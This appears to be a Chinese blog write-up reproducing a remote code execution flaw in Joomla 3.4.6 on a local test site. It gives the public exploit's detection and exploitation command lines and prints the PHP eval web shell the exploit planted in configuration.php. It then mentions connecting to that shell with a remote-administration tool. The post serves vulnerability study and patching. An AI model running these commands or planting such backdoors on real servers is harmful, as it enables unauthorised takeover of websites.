Joomla 3.4.6 远程代码执行漏洞复现分析

0x00 CMS简介

Joomla!是一套全球知名的内容管理系统。 Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,目前最新版本是3.9.11 。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matter这个开放源码组织进行开发与支持,这个组织的成员来自全世界各地,小组成员约有150人,包含了开发者、设计者、系统管理者、文件撰写者,以及超过2万名的参与会员。
自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖!

0x01 漏洞简介

  • Alessandro Groppo @Hacktive Security于2019-10-02在exploit-db( https://www.exploit-db.com/exploits/47465)发布了Joomla命令执行的EXP,漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程命令执行。
  • 影响范围:3.0.0 <= Joomla <= 3.4.6

0x02 环境搭建

我用的phpstudy搭建的
Joomla下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6
安装成功后首页如下
Joomla 3.4.6 远程代码执行漏洞复现分析

0x03 漏洞复现

EXP:https://github.com/kiks7/rusty_joomla_rce
1.漏洞检测

python rusty_joomla_exploit.py -t http://quan.joomla346.net/ -c

运行结果如下,Vulnerable证明存在漏洞
Joomla 3.4.6 远程代码执行漏洞复现分析
2.漏洞利用

rusty_joomla_rce-master>python rusty_joomla_exploit.py -t http://quan.joomla346.net/ -e -l quan.joomla346.net -p 80

Joomla 3.4.6 远程代码执行漏洞复现分析
可以看到configuration.php中写入了一句话木马(这里我多运行了几次,于是有好几个)
Joomla 3.4.6 远程代码执行漏洞复现分析

if(isset($_POST['epgijbodvzllittceoyidpbbglcdawduhyvqqtdndfxjfivvkg'])) eval($_POST['epgijbodvzllittceoyidpbbglcdawduhyvqqtdndfxjfivvkg']);if(isset($_POST['bhjhofjrtfrlskgaufapblryaqymfzrrbaoluyljwgekkoakhm'])) eval($_POST['bhjhofjrtfrlskgaufapblryaqymfzrrbaoluyljwgekkoakhm']);if(isset($_POST['dzyxxxhejymxvidysrisgguzvbehpuudwgkwcgldarnnlkxgbj'])) eval($_POST['dzyxxxhejymxvidysrisgguzvbehpuudwgkwcgldarnnlkxgbj']);

用菜刀连接
Joomla 3.4.6 远程代码执行漏洞复现分析

0x04 漏洞修复

更新至官网最新版本

0x05 参考

https://mp.weixin.qq.com/s/1LJJG-whv1vUfaWDSfA2gg

上一篇:Java学习笔记(二)——Java操作properties文件


下一篇:kali metasploit 之使用介绍